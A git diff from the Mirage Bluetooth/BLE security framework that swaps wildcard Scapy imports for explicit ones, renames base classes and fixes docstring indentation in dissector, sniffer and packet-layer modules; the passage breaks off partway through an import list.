b/mirage/libs/ble_utils/dissectors.py @@ -1,24 +1,26 @@ -import struct,copy -from mirage.libs.wireless_utils.dissectors import Dissector -from mirage.libs.bt_utils.assigned_numbers import * +import struct + +from mirage.libs.bt_utils.assigned_numbers import AssignedNumbers from mirage.libs.common.hid import HIDMapping +from mirage.libs.wireless_utils.dissectors import Dissector + class PermissionsFlag(Dissector): ''' This class is a dissector for the permissions flag (ATT/GATT). It inherits from ``Dissector``. The following fields are available in the data structure : - * **permissions** : field indicating permissions as a list of strings (ex : ['Write Without Response', 'Read']) + * **permissions** : field indicating permissions as a list of strings (ex : ['Write Without Response', 'Read']) The following permissions can be used : - * "Extended Properties" - * "Authenticated Signed Writes" - * "Indicate" - * "Notify" - * "Write" - * "Write Without Response" - * "Read" - * "Broadcast" + * "Extended Properties" + * "Authenticated Signed Writes" + * "Indicate" + * "Notify" + * "Write" + * "Write Without Response" + * "Read" + * "Broadcast" :Example: @@ -72,11 +74,11 @@ class UUID(Dissector): It provides a way to convert them into their multiple forms. This dissector uses the data structure dictionary in order to use the following fields as simple attributes : - * **UUID16** field : UUID (16 bits) - * **UUID128** field : UUID (128 bits) - * **name** field : name - - :Example: + * **UUID16** field : UUID (16 bits) + * **UUID128** field : UUID (128 bits) + * **name** field : name + + :Example: >>> UUID(name="Generic Access").data.hex() '1800' @@ -140,11 +142,11 @@ class CharacteristicDeclaration(Dissector): This class is a dissector for the characteristic declarations (GATT). It inherits from ``Dissector``. This dissector uses the data structure dictionary in order to use the following fields as simple attributes : - * **UUID** field : characteristic's UUID (see also the following dissector : ``UUID``) - * **permissions** field : characteristic's Permissions Flag (see also the following dissector : ``PermissionsFlag``) - * **valueHandle** field : characteristic's value handle + * **UUID** field : characteristic's UUID (see also the following dissector : ``UUID``) + * **permissions** field : characteristic's Permissions Flag (see also the following dissector : ``PermissionsFlag``) + * **valueHandle** field : characteristic's value handle - :Example: + :Example: >>> CharacteristicDeclaration(data=bytes.fromhex('2a00000302')) Characteristic Declaration( UUID=UUID(128bits:00002a00-0000-1000-8000-00805f9b34fb, 16bits:0x2a00, name:Device Name ) , valueHandle=0x3 , permissionsFlag=Flag(Read)) @@ -186,9 +188,9 @@ class CharacteristicDescriptor(Dissector): This class is a dissector for the characteristic descriptors (GATT). It inherits from ``Dissector``. This dissector uses the data structure dictionary in order to use the following fields as simple attributes : - * **UUID** field : descriptor's UUID (see also the following dissector : ``UUID``) + * **UUID** field : descriptor's UUID (see also the following dissector : ``UUID``) - :Example: + :Example: >>> CharacteristicDescriptor(data=bytes.fromhex("2901")) Characteristic Descriptor( UUID=UUID(128bits:00002901-0000-1000-8000-00805f9b34fb, 16bits:0x2901, name:Characteristic User Description ) ) @@ -212,9 +214,9 @@ class Service(Dissector): This class is a dissector for the services (GATT). It inherits from ``Dissector``. This dissector uses the data structure dictionary in order to use the following fields as simple attributes : - * **UUID** field : descriptor's UUID (see also the following dissector : ``UUID``) + * **UUID** field : descriptor's UUID (see also the following dissector : ``UUID``) - :Example: + :Example: >>> Service(data=bytes.fromhex("1800")) Service( UUID=UUID(128bits:00001800-0000-1000-8000-00805f9b34fb, 16bits:0x1800, name:Generic Access ) ) @@ -242,15 +244,15 @@ class InputOutputCapability(Dissector): This class is a dissector for the Input Output Capability (Security Manager). It inherits from ``Dissector``. This dissector uses the data structure dictionary in order to use the following fields as simple attributes : - * **display** field : boolean indicating if the device provides a display output - * **yesno** field : boolean indicating if the device has yes/no input - * **keyboard** field : boolean indicating if the device has a keyboard input + * **display** field : boolean indicating if the device provides a display output + * **yesno** field : boolean indicating if the device has yes/no input + * **keyboard** field : boolean indicating if the device has a keyboard input - :Example: + :Example: >>> InputOutputCapability(display=True, yesno=False, keyboard=True).data.hex() '04' - >>> InputOutputCapability(data=data=bytes.fromhex("04")) + >>> InputOutputCapability(data=bytes.fromhex("04")) Input Output Capability(0x4,keyboard:yes|yesno:no|display:yes) @@ -293,17 +295,17 @@ class AuthReqFlag(Dissector): This class is a dissector for the Authentication Request Flag (Security Manager). It inherits from ``Dissector``. This dissector uses the data structure dictionary in order to use the following fields as simple attributes : - * **bonding** field : boolean indicating if bonding is required - * **mitm** field : boolean indicating if MiTM protection is required - * **secureConnections** field : boolean indicating if a secure connection is required - * **keypress** field : boolean indicating if the keypress mode is required - * **ct2** field : boolean indicating if ct2 is required + * **bonding** field : boolean indicating if bonding is required + * **mitm** field : boolean indicating if MiTM protection is required + * **secureConnections** field : boolean indicating if a secure connection is required + * **keypress** field : boolean indicating if the keypress mode is required + * **ct2** field : boolean indicating if ct2 is required - :Example: + :Example: >>> AuthReqFlag(bonding=True, mitm=True).data.hex() '05' - >>> AuthReqFlag(data=data=bytes.fromhex("05")) + >>> AuthReqFlag(data=bytes.fromhex("05")) AuthReq Flag(0x5,bonding:yes|mitm:yes|secureConnections:no|keypress:no|ct2:no) ''' @@ -358,12 +360,12 @@ class KeyDistributionFlag(Dissector): This class is a dissector for the Key Distribution Flag (Security Manager). It inherits from ``Dissector``. This dissector uses the data structure dictionary in order to use the following fields as simple attributes : - * **encKey** field : boolean indicating if an encryption key is required (LTK + Ediv + RAND) - * **idKey** field : boolean indicating if an identification key is required (IRK + BD_Addr + BD_Addr mode) - * **signKey** field : boolean indicating if a signing key is required (CSRK) - * **linkKey** field : boolean indicating if a link key is required + * **encKey** field : boolean indicating if an encryption key is required (LTK + Ediv + RAND) + * **idKey** field : boolean indicating if an identification key is required (IRK + BD_Addr + BD_Addr mode) + * **signKey** field : boolean indicating if a signing key is required (CSRK) + * **linkKey** field : boolean indicating if a link key is required - :Example: + :Example: >>> KeyDistributionFlag(idKey=True,encKey=True).data.hex() '03' @@ -419,12 +421,12 @@ class HIDoverGATTKeystroke(Dissector): This class is a dissector for the HID over GATT keystroke payload. It inherits from ``Dissector``. The following fields are available in the data structure : - * **locale** : string indicating the locale (language layout) - * **key** : string indicating the key - * **ctrl** : boolean indicating if the Ctrl key is pressed - * **alt** : boolean indicating if the Alt key is pressed - * **super** : boolean indicating if the Super key is pressed - * **shift** : boolean indicating if the Shift key is pressed + * **locale** : string indicating the locale (language layout) + * **key** : string indicating the key + * **ctrl** : boolean indicating if the Ctrl key is pressed + * **alt** : boolean indicating if the Alt key is pressed + * **super** : boolean indicating if the Super key is pressed + * **shift** : boolean indicating if the Shift key is pressed :Example: diff --git a/mirage/libs/ble_utils/hcidump.py b/mirage/libs/ble_utils/hcidump.py index 3ff84c0..82844f4 100644 --- a/mirage/libs/ble_utils/hcidump.py +++ b/mirage/libs/ble_utils/hcidump.py @@ -1,8 +1,12 @@ -from scapy.all import * -import subprocess,struct -from mirage.libs import io,utils,wireless +import subprocess -class BLEHcidumpDevice(wireless.Device): +from scapy.layers.bluetooth import HCI_Hdr + +from mirage.libs import io, utils +from mirage.libs.wireless_utils.device import Device + + +class BLEHcidumpDevice(Device): ''' This device allows to monitor an HCI interface using **hcidump**. @@ -11,7 +15,7 @@ class BLEHcidumpDevice(wireless.Device): The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available ? | +===================================+================+ | SCANNING | no | +-----------------------------------+----------------+ diff --git a/mirage/libs/ble_utils/nrfsniffer.py b/mirage/libs/ble_utils/nrfsniffer.py index ac1ba8d..151223f 100644 --- a/mirage/libs/ble_utils/nrfsniffer.py +++ b/mirage/libs/ble_utils/nrfsniffer.py @@ -1,13 +1,34 @@ -from serial import Serial,SerialException -from serial.tools.list_ports import comports -from threading import Lock -from queue import Queue +import struct import time -from mirage.libs.ble_utils.constants import * -from mirage.libs.ble_utils.scapy_nrfsniffer_layers import * -from mirage.libs import io,utils,wireless +from queue import Queue +from threading import Lock + +from scapy.compat import raw +from scapy.layers.bluetooth4LE import BTLE_ADV, BTLE_CONNECT_REQ, BTLE_PPI +from serial import Serial, SerialException +from serial.tools.list_ports import comports -class NRFSnifferDevice(wireless.Device): +from mirage.libs import io, utils +from mirage.libs.ble_utils.constants import BLESniffingMode +from mirage.libs.ble_utils.scapy_nrfsniffer_layers import NRFSniffer_Event_Follow, \ + NRFSniffer_Follow_Request, \ + NRFSniffer_Go_Idle, \ + NRFSniffer_Hdr, \ + NRFSniffer_Ping_Request, \ + NRFSniffer_Ping_Response, \ + NRFSniffer_Scan_Continuously_Request, \ + NRFSniffer_Set_Advertising_Channels_Hopping_Sequence, \ + NRFSniffer_Set_Temporary_Key_Request, \ + SLIP_END, \ + SLIP_ESC, \ + SLIP_ESC_END, \ + SLIP_ESC_ESC, \ + SLIP_ESC_START, \ + SLIP_START +from mirage.libs.wireless_utils.device import Device + + +class NRFSnifferDevice(Device): ''' This device allows to communicate with a NRFSniffer Device in order to sniff Bluetooth Low Energy protocol. The corresponding interfaces are : ``nrfsnifferX`` (e.g. "nrfsniffer0") @@ -15,7 +36,7 @@ class NRFSnifferDevice(wireless.Device): The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available ? | +===================================+================+ | SCANNING | yes | +-----------------------------------+----------------+ @@ -375,7 +396,7 @@ def init(self): self.sniffingMode = BLESniffingMode.NEW_CONNECTION version = self.getFirmwareVersion() io.success("NRFSniffer device "+("#"+str(self.index) if isinstance(self.index,int) else str(self.index))+ - " successfully instantiated (firmware version : "+str(version)+")") + " successfully instantiated (firmware version : "+str(version)+")") self.channel = None self._goIdle() self.targets = {} @@ -647,7 +668,7 @@ def setScan(self,enable=True): :Example: >>> device.setScan(enable=True) # scanning mode enabled - >>> device.setScan(enable=False) # scanning mode disabled + >>> device.setScan(enable=False) # scanning mode disabled .. note:: diff --git a/mirage/libs/ble_utils/packets.py b/mirage/libs/ble_utils/packets.py index be55e64..60aea2c 100644 --- a/mirage/libs/ble_utils/packets.py +++ b/mirage/libs/ble_utils/packets.py @@ -1,9 +1,13 @@ -from mirage.libs.ble_utils import helpers -from mirage.libs import wireless -from scapy.all import * import struct -class BLESniffingParameters(wireless.AdditionalInformations): +from scapy.compat import raw +from scapy.layers.bluetooth import SM_Hdr, SM_Pairing_Request, SM_Pairing_Response + +from mirage.libs.ble_utils import helpers +from mirage.libs.wireless_utils.packets import AdditionalInformations, Packet + + +class BLESniffingParameters(AdditionalInformations): ''' This class allows to attach some sniffer's data to a Mirage BLE Packet, such as RSSI or channel. If the frequency is provided, the corresponding channel is automatically calculated. @@ -51,7 +55,7 @@ def __init__(self, rssi=None,rssi_min=0,rssi_max=0,rssi_avg=0,rssi_count=0,clk_1 def toString(self): return "CH:" + str(self.channel)+"|CLK:"+str(self.clock)+"|RSSI:"+str(self.rssi)+"dBm" -class BLEPacket(wireless.Packet): +class BLEPacket(Packet): ''' Mirage Bluetooth Low Energy Packet ''' @@ -511,12 +515,12 @@ class BLEFindInformationResponse(BLEPacket): .. note:: Please note the following behaviour : - * **If only the data is provided**, the attributes list is automatically generated (thanks to the ``decode`` method.) - * **If the attributes are provided**, the corresponding data is automatically generated (thanks to the ``build`` method) + * **If only the data is provided**, the attributes list is automatically generated (thanks to the ``decode`` method.) + * **If the attributes are provided**, the corresponding data is automatically generated (thanks to the ``build`` method) An attribute is described as a dictionary composed of two fields : - * *attributeHandle* : indicating the handle of the corresponding ATT attribute - * *type* : indicating the UUID (type of the ATT attribute) + * *attributeHandle* : indicating the handle of the corresponding ATT attribute + * *type* : indicating the UUID (type of the ATT attribute) **Example :** ``{"attributeHandle":0x0001, "type":type}`` ''' @@ -651,14 +655,14 @@ class BLEReadByGroupTypeResponse(BLEPacket): .. note:: Please note the following behaviour : - * **If only the data is provided**, the group type list is automatically generated (thanks to the ``decode`` method.) - * **If the attributes are provided**, the corresponding data is automatically generated (thanks to the ``build`` method) + * **If only the data is provided**, the group type list is automatically generated (thanks to the ``decode`` method.) + * **If the attributes are provided**, the corresponding data is automatically generated (thanks to the ``build`` method) A group type of attribute is described as a dictionary composed of three fields : - * *attributeHandle* : indicating the lowest handle of the corresponding ATT group type - * *value* : indicating the value of the ATT attribute - * *endGroupHandle* : indicating the highest handle of the corresponding ATT group type + * *attributeHandle* : indicating the lowest handle of the corresponding ATT group type + * *value* : indicating the value of the ATT attribute + * *endGroupHandle* : indicating the highest handle of the corresponding ATT group type **Example :** ``{'attributeHandle': 1, 'endGroupHandle': 11, 'value': b'\x00\x18'}`` ''' @@ -746,13 +750,13 @@ class BLEReadByTypeResponse(BLEPacket): .. note:: Please note the following behaviour : - * **If only the data is provided**, the list of attributes is automatically generated (thanks to the ``decode`` method.) - * **If the attributes are provided**, the corresponding data is automatically generated (thanks to the ``build`` method) + * **If only the data is provided**, the list of attributes is automatically generated (thanks to the ``decode`` method.) + * **If the attributes are provided**, the corresponding data is automatically generated (thanks to the ``build`` method) An attribute is described as a dictionary composed of two fields : - * *attributeHandle* : indicating the handle of the ATT attribute - * *value* : indicating the value of the ATT attribute + * *attributeHandle* : indicating the handle of the ATT attribute + * *value* : indicating the value of the ATT attribute **Example :** ``{'attributeHandle': 1, 'value': b'\x00\x18'}`` ''' @@ -1140,7 +1144,7 @@ class BLESecurityRequest(BLEPacket): Some dissectors are provided in order to fill the fields included in this packet : - * ``mirage.libs.ble_utils.dissectors.AuthReqFlag`` : authentication field + * ``mirage.libs.ble_utils.dissectors.AuthReqFlag`` : authentication field ''' def __init__(self,connectionHandle = -1, authentication = b"\x00"): @@ -1179,9 +1183,9 @@ class BLEPairingRequest(BLEPacket): Some dissectors are provided in order to fill the fields included in this packet : - * ``mirage.libs.ble_utils.dissectors.AuthReqFlag`` : authentication field - * ``mirage.libs.ble_utils.dissectors.InputOutputCapability`` : input output capability field - * ``mirage.libs.ble_utils.dissectors.KeyDistributionFlag`` : initiatorKeyDistribution and responderKeyDistribution fields + * ``mirage.libs.ble_utils.dissectors.AuthReqFlag`` : authentication field + * ``mirage.libs.ble_utils.dissectors.InputOutputCapability`` : input output capability field + * ``mirage.libs.ble_utils.dissectors.KeyDistributionFlag`` : initiatorKeyDistribution and responderKeyDistribution fields ''' def __init__(self,connectionHandle = -1, outOfBand = False,inputOutputCapability = 0,maxKeySize = 16, authentication = b"\x00", initiatorKeyDistribution = b"\x00", responderKeyDistribution=b"\x00", payload=b""): diff --git a/mirage/libs/ble_utils/pcap.py b/mirage/libs/ble_utils/pcap.py index 4b6dc5f..4713a39 100644 --- a/mirage/libs/ble_utils/pcap.py +++ b/mirage/libs/ble_utils/pcap.py @@ -1,21 +1,20 @@ -from struct import pack,unpack -from scapy.all import * +from struct import pack, unpack + +from scapy.layers.bluetooth4LE import BTLE, BTLE_ADV, BTLE_CONNECT_REQ, BTLE_DATA, BTLE_PPI, BTLE_RF + +from mirage.libs.ble_utils.constants import BLESniffingMode +from mirage.libs.ble_utils.scapy_link_layers import ControlPDU from mirage.libs.wireless_utils.pcapDevice import PCAPDevice -from mirage.libs.ble_utils.packets import * -from mirage.libs.ble_utils.constants import * -from mirage.libs.ble_utils.scapy_link_layers import * -from mirage.libs.ble_utils.helpers import rssiToDbm, crc24 -from mirage.libs import io, utils -import time - -class BLEPCAPDevice(wireless.PCAPDevice): + + +class BLEPCAPDevice(PCAPDevice): ''' This device allows to communicate with a PCAP file in order to write and read Bluetooth Low Energy packets. The corresponding interfaces are : ``.pcap`` (e.g. "out.pcap") - * If the file exists, the BLEPCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Bluetooth Low Energy sniffer. - * If the file doesn't exist, the BLEPCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. + * If the file exists, the BLEPCAPDevice is in *read* mode, and the corresponding receiver is able to use it as a classic Bluetooth Low Energy sniffer. + * If the file doesn't exist, the BLEPCAPDevice is in *write* mode, and the corresponding emitter is able to write packets in the file. The following capabilities are actually supported : diff --git a/mirage/libs/ble_utils/scapy_btlejack_layers.py b/mirage/libs/ble_utils/scapy_btlejack_layers.py index b24627f..1cf2aa1 100644 --- a/mirage/libs/ble_utils/scapy_btlejack_layers.py +++ b/mirage/libs/ble_utils/scapy_btlejack_layers.py @@ -1,5 +1,24 @@ -from scapy.all import * import struct + +from scapy.fields import BitEnumField, \ + BitField, \ + ByteEnumField, \ + ByteField, \ + ConditionalField, \ + FieldLenField, \ + LEIntField, \ + LEShortField, \ + LEX3BytesField, \ + PacketField, \ + PacketListField, \ + StrField, \ + StrLenField, \ + XByteField, \ + XLEIntField, \ + XLEShortField +from scapy.layers.bluetooth4LE import BDAddrField, BTLEChanMapField, BTLE_ADV, BTLE_CONNECT_REQ, BTLE_DATA +from scapy.packet import Packet, bind_layers + ''' This module contains some scapy definitions for communicating with a BTLEJack device. ''' @@ -89,7 +108,7 @@ class BTLEJack_Collaborative_Channel_Map_Command(Packet): LEX3BytesField("crc_init",None), ByteField("start_channel",0), ByteField("end_channel",37) - ] + ] class BTLEJack_Recover_Command(Packet): name = "BTLEJack Recover Command" @@ -106,7 +125,7 @@ class BTLEJack_Recover_Crcinit_Command(Packet): name = "BTLEJack Recover CRCInit Command" fields_desc = [ XLEIntField("access_address",None) - ] + ] class BTLEJack_Recover_Channel_Map_Command(Packet): name = "BTLEJack Recover Channel Map Command" @@ -116,7 +135,7 @@ class BTLEJack_Recover_Channel_Map_Command(Packet): ByteField("start_channel",0), ByteField("end_channel",37), LEIntField("timeout",None) - ] + ] class BTLEJack_Recover_Hopping_Parameters_Command(Packet): name = "BTLEJack Recover Hopping Parameters Command" @@ -124,21 +143,21 @@ class BTLEJack_Recover_Hopping_Parameters_Command(Packet): XLEIntField("access_address",None), LEX3BytesField("crc_init",None), BTLEChanMapField("channel_map",None) - ] + ] class BTLEJack_Recover_Connection_AA_Command(Packet): name = "BTLEJack Recover Connection AA Command" fields_desc = [ XLEIntField("access_address",None) - ] + ] class BTLEJack_Recover_Connection_AA_Chm_Command(Packet): name = "BTLEJack Recover Connection AA Chm Command" fields_desc = [ XLEIntField("access_address",None), BTLEChanMapField("channel_map",None) - ] + ] class BTLEJack_Recover_Connection_AA_Chm_HopInterval_Command(Packet): @@ -147,7 +166,7 @@ class BTLEJack_Recover_Connection_AA_Chm_HopInterval_Command(Packet): XLEIntField("access_address",None), BTLEChanMapField("channel_map",None), XLEShortField("hop_interval",None) - ] + ] class BTLEJack_Sniff_Connection_Request_Command(Packet): name = "BTLEJack Sniff Connection Request Command" diff --git a/mirage/libs/ble_utils/scapy_hci_layers.py b/mirage/libs/ble_utils/scapy_hci_layers.py index 3937a77..93eeb7f 100644 --- a/mirage/libs/ble_utils/scapy_hci_layers.py +++ b/mirage/libs/ble_utils/scapy_hci_layers.py @@ -1,4 +1,24 @@ -from scapy.all import * +import scapy +from scapy.fields import BitField, \ + ByteEnumField, \ + FieldLenField, \ + LEShortField, \ + PacketListField, \ + PadField, StrField, \ + StrLenField, \ + XByteField, \ + XLEShortField +from scapy.layers.bluetooth import ATT_Handle_Value_Indication,\ + ATT_Handle_Value_Notification, \ + ATT_Hdr, ATT_Read_Blob_Request, \ + ATT_Read_Blob_Response, \ + EIR_Hdr, \ + HCI_Cmd_LE_Create_Connection, \ + HCI_Command_Hdr, \ + HCI_Event_LE_Meta, \ + LEMACField, \ + SM_Hdr +from scapy.packet import Packet, bind_layers, split_layers ''' This module contains some scapy definitions for communicating with an HCI device. @@ -11,77 +31,77 @@ class HCI_Cmd_LE_Rand(Packet): fields_desc = [] class HCI_LE_Meta_Enhanced_Connection_Complete(Packet): - name = "Enhanced Connection Complete" - fields_desc = [ByteEnumField("status", 0, {0: "success"}), - LEShortField("handle", 0), - ByteEnumField("role", 0, {0: "master"}), - ByteEnumField("patype", 0, {0: "public", 1: "random"}), - LEMACField("paddr", None), - LEMACField("localresolvprivaddr", None), - LEMACField("peerresolvprivaddr", None), - LEShortField("interval", 54), - LEShortField("latency", 0), - LEShortField("supervision", 42), - XByteField("clock_latency", 5), ] - - def answers(self, other): - if HCI_Cmd_LE_Create_Connection not in other: - return False - - return (other[HCI_Cmd_LE_Create_Connection].patype == self.patype and - other[HCI_Cmd_LE_Create_Connection].paddr == self.paddr) + name = "Enhanced Connection Complete" + fields_desc = [ByteEnumField("status", 0, {0: "success"}), + LEShortField("handle", 0), + ByteEnumField("role", 0, {0: "master"}), + ByteEnumField("patype", 0, {0: "public", 1: "random"}), + LEMACField("paddr", None), + LEMACField("localresolvprivaddr", None), + LEMACField("peerresolvprivaddr", None), + LEShortField("interval", 54), + LEShortField("latency", 0), + LEShortField("supervision", 42), + XByteField("clock_latency", 5), ] + + def answers(self, other): + if HCI_Cmd_LE_Create_Connection not in other: + return False + + return (other[HCI_Cmd_LE_Create_Connection].patype == self.patype and + other[HCI_Cmd_LE_Create_Connection].paddr == self.paddr) class New_HCI_Cmd_LE_Set_Advertising_Data(Packet): - name = "LE Set Advertising Data" - fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), - PadField( - PacketListField("data", [], EIR_Hdr, - length_from=lambda pkt:pkt.len), + name = "LE Set Advertising Data" + fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), + PadField( + PacketListField("data", [], EIR_Hdr, + length_from=lambda pkt:pkt.len), align=31, padwith=b"\0"), ] class New_HCI_Cmd_LE_Set_Scan_Response_Data(Packet): - name = "LE Set Scan Response Data" - fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), - StrLenField("data", "", length_from=lambda pkt:pkt.len), ] + name = "LE Set Scan Response Data" + fields_desc = [FieldLenField("len", None, length_of="data", fmt="B"), + StrLenField("data", "", length_from=lambda pkt:pkt.len), ] class SM_Security_Request(Packet): - name = "Security Request" - fields_desc = [BitField("authentication", 0, 8)] + name = "Security Request" + fields_desc = [BitField("authentication", 0, 8)] class New_ATT_Handle_Value_Notification(Packet): - name = "Handle Value Notification" - fields_desc = [ XLEShortField("gatt_handle", 0), - StrField("value", ""), ] + name = "Handle Value Notification" + fields_desc = [ XLEShortField("gatt_handle", 0), + StrField("value", ""), ] class New_ATT_Handle_Value_Indication(Packet): - name = "Handle Value Indication" - fields_desc = [ - XLEShortField("gatt_handle", 0), - StrField("value", ""), + name = "Handle Value Indication" + fields_desc = [ + XLEShortField("gatt_handle", 0), + StrField("value", ""), ] class New_ATT_Read_Blob_Request(Packet): - name = "Read Blob Request" - fields_desc = [ - XLEShortField("gatt_handle", 0), - LEShortField("offset", 0) - ] + name = "Read Blob Request" + fields_desc = [ + XLEShortField("gatt_handle", 0), + LEShortField("offset", 0) + ] class New_ATT_Read_Blob_Response(Packet): - name = "Read Blob Response" - fields_desc = [ - StrField("value", "") - ] + name = "Read Blob Response" + fields_desc = [ + StrField("value", "") + ] class New_ATT_Handle_Value_Confirmation(Packet): - name = "Handle Value Confirmation" - fields_desc = [] + name = "Handle Value Confirmation" + fields_desc = [] bind_layers(HCI_Command_Hdr, HCI_Cmd_LE_Rand, opcode=0x2018) bind_layers(HCI_Event_LE_Meta, HCI_LE_Meta_Enhanced_Connection_Complete, event = 0xa) diff --git a/mirage/libs/ble_utils/scapy_link_layers.py b/mirage/libs/ble_utils/scapy_link_layers.py index b065408..9cffde8 100644 --- a/mirage/libs/ble_utils/scapy_link_layers.py +++ b/mirage/libs/ble_utils/scapy_link_layers.py @@ -1,9 +1,12 @@ -from scapy.all import * +from scapy.fields import XByteField, XLEIntField, XLELongField, XLEShortField +from scapy.layers.bluetooth4LE import BTLE_DATA, CtrlPDU +from scapy.packet import Packet, bind_layers, split_layers ''' This module contains some scapy definitions of Link Layer Bluetooth Low Energy packets. ''' + class ControlPDU(Packet): name = "Control PDU" fields_desc = [ diff --git a/mirage/libs/ble_utils/scapy_nrfsniffer_layers.py b/mirage/libs/ble_utils/scapy_nrfsniffer_layers.py index acb0e4e..db38d3d 100644 --- a/mirage/libs/ble_utils/scapy_nrfsniffer_layers.py +++ b/mirage/libs/ble_utils/scapy_nrfsniffer_layers.py @@ -1,6 +1,14 @@ -from scapy.all import * import struct +from scapy.fields import BitFieldLenField, ByteEnumField, \ + ByteField, \ + LEIntField, \ + LEShortField, \ + MACField, PacketField, \ + StrFixedLenField, StrLenField +from scapy.layers.bluetooth4LE import BTLE +from scapy.packet import Packet, bind_layers + ''' This module contains some scapy definitions for communicating with a NRF Sniffer device. ''' diff --git a/mirage/libs/ble_utils/ubertooth.py b/mirage/libs/ble_utils/ubertooth.py index 77877cc..49d0406 100644 --- a/mirage/libs/ble_utils/ubertooth.py +++ b/mirage/libs/ble_utils/ubertooth.py @@ -1,9 +1,32 @@ -from scapy.all import * +import array import struct -from mirage.libs.bt_utils.ubertooth import * -from mirage.libs.ble_utils.constants import * + +import usb +from scapy.layers.bluetooth4LE import BTLE_CONNECT_REQ + +from mirage.libs import io, utils from mirage.libs.ble_utils import helpers -from mirage.libs import utils,io,wireless +from mirage.libs.ble_utils.constants import BLESniffingMode +from mirage.libs.bt_utils.constants import CTRL_IN, \ + CTRL_OUT, \ + JAM_CONTINUOUS, \ + JAM_NONE, \ + UBERTOOTH_BTLE_PROMISC, \ + UBERTOOTH_BTLE_SET_TARGET, \ + UBERTOOTH_BTLE_SNIFFING, \ + UBERTOOTH_GET_ACCESS_ADDRESS, \ + UBERTOOTH_GET_CHANNEL, \ + UBERTOOTH_JAM_MODE, \ + UBERTOOTH_POLL, \ + UBERTOOTH_SET_ACCESS_ADDRESS, \ + UBERTOOTH_SET_CHANNEL +from mirage.libs.bt_utils.scapy_ubertooth_layers import BTLE_Promiscuous_Access_Address, \ + BTLE_Promiscuous_CRCInit, \ + BTLE_Promiscuous_Hop_Increment, \ + BTLE_Promiscuous_Hop_Interval, \ + Ubertooth_Hdr +from mirage.libs.bt_utils.ubertooth import BtUbertoothDevice +from mirage.libs.wireless_utils.packetQueue import StoppableThread class BLEUbertoothDevice(BtUbertoothDevice): @@ -14,7 +37,7 @@ class BLEUbertoothDevice(BtUbertoothDevice): The following capabilities are actually supported : +-----------------------------------+----------------+ - | Capability | Available ? | + | Capability | Available ? | +===================================+================+ | SCANNING | yes | +-----------------------------------+----------------+ @@ -104,13 +127,13 @@ def _initBLE(self): def _sweepingThread(self): for channel in self.sweepingSequence: if ((self.sniffingMode == BLESniffingMode.NEW_CONNECTION and not self.synchronized) or - self.sniffingMode == BLESniffingMode.ADVERTISEMENT): + self.sniffingMode == BLESniffingMode.ADVERTISEMENT): self.setChannel(channel=channel) utils.wait(seconds=0.1) def _startSweepingThread(self): self._stopSweepingThread() - self.sweepingThreadInstance = wireless.StoppableThread(target=self._sweepingThread) + self.sweepingThreadInstance = StoppableThread(target=self._sweepingThread) self.sweepingThreadInstance.start() def _stopSweepingThread(self): @@ -573,8 +596,8 @@ def sniffExistingConnections(self,accessAddress=None,crcInit=None,channelMap=Non .. warning:: Please note the following warnings : - * Ubertooth is actually not able to set CRC Init value and uses a full Channel Map (0x1fffffffff). This parameters are provided in order to provide the same API for Ubertooth and BTLEJack devices. - * If no access address is provided, Ubertooth tries to get multiple candidate access addresses and select the most probable address + * Ubertooth is actually not able to set CRC Init value and uses a full Channel Map (0x1fffffffff). This parameters are provided in order to provide the same API for Ubertooth and BTLEJack devices. + * If no access address is provided, Ubertooth tries to get multiple candidate access addresses and select the most probable address .. note:: @@ -650,7 +673,7 @@ def setScan(self,enable=True): :Example: >>> device.setScan(enable=True) # scanning mode enabled - >>> device.setScan(enable=False) # scanning mode disabled + >>> device.setScan(enable=False) # scanning mode disabled .. note:: @@ -661,7 +684,7 @@ def setScan(self,enable=True): self.sniffAdvertisements() self._setCRCChecking(True) if self.scanThreadInstance is None: - self.scanThreadInstance = wireless.StoppableThread(target=self._scanThread) + self.scanThreadInstance = StoppableThread(target=self._scanThread) self.scanThreadInstance.start() else: self.scanThreadInstance.stop() diff --git a/mirage/libs/bt.py b/mirage/libs/bt.py index 8f79a0b..304cdcb 100644 --- a/mirage/libs/bt.py +++ b/mirage/libs/bt.py @@ -1,16 +1,81 @@ -from scapy.all import * from queue import Queue from threading import Lock + +from scapy.layers.bluetooth import BluetoothCommandError, \ + BluetoothSocketError, \ + BluetoothUserSocket, \ + HCI_ACL_Hdr, \ + HCI_Cmd_Connect_Accept_Timeout, \ + HCI_Cmd_Read_BD_Addr, \ + HCI_Cmd_Reset, \ + HCI_Cmd_Set_Event_Mask, \ + HCI_Command_Hdr, \ + HCI_Hdr, \ + L2CAP_CmdHdr, \ + L2CAP_ConfReq, \ + L2CAP_ConfResp, \ + L2CAP_ConnReq, \ + L2CAP_ConnResp, \ + L2CAP_Hdr, \ + L2CAP_InfoReq, \ + L2CAP_InfoResp + from mirage.core.module import WirelessModule -from mirage.libs.bt_utils.packets import * +from mirage.libs import io, utils from mirage.libs.bt_utils.assigned_numbers import AssignedNumbers -from mirage.libs.bt_utils.scapy_layers import * -from mirage.libs.bt_utils.scapy_vendor_specific import * from mirage.libs.bt_utils.hciconfig import HCIConfig -from mirage.libs.bt_utils.constants import * -from mirage.libs import wireless,io,utils - -class BtHCIDevice(wireless.Device): +from mirage.libs.bt_utils.packets import BluetoothAcceptConnectionRequest, \ + BluetoothConnect, \ + BluetoothConnectResponse, \ + BluetoothConnectionRequest, \ + BluetoothInquiry, \ + BluetoothInquiryComplete, \ + BluetoothInquiryScanResult, \ + BluetoothL2CAPConfigurationRequest, \ + BluetoothL2CAPConfigurationResponse, \ + BluetoothL2CAPConnectionRequest, \ + BluetoothL2CAPConnectionResponse, \ + BluetoothL2CAPInformationRequest, \ + BluetoothL2CAPInformationResponse, \ + BluetoothMaxSlotChange, \ + BluetoothPacket, \ + BluetoothRejectConnectionRequest, \ + BluetoothRemoteNameRequest, \ + BluetoothRemoteNameResponse, \ + BluetoothWriteExtendedInquiryResponse, \ + BluetoothWriteScanEnable +from mirage.libs.bt_utils.scapy_layers import HCI_Cmd_Accept_Connection_Request, \ + HCI_Cmd_Create_Connection, \ + HCI_Cmd_Inquiry, \ + HCI_Cmd_Read_Local_Name, \ + 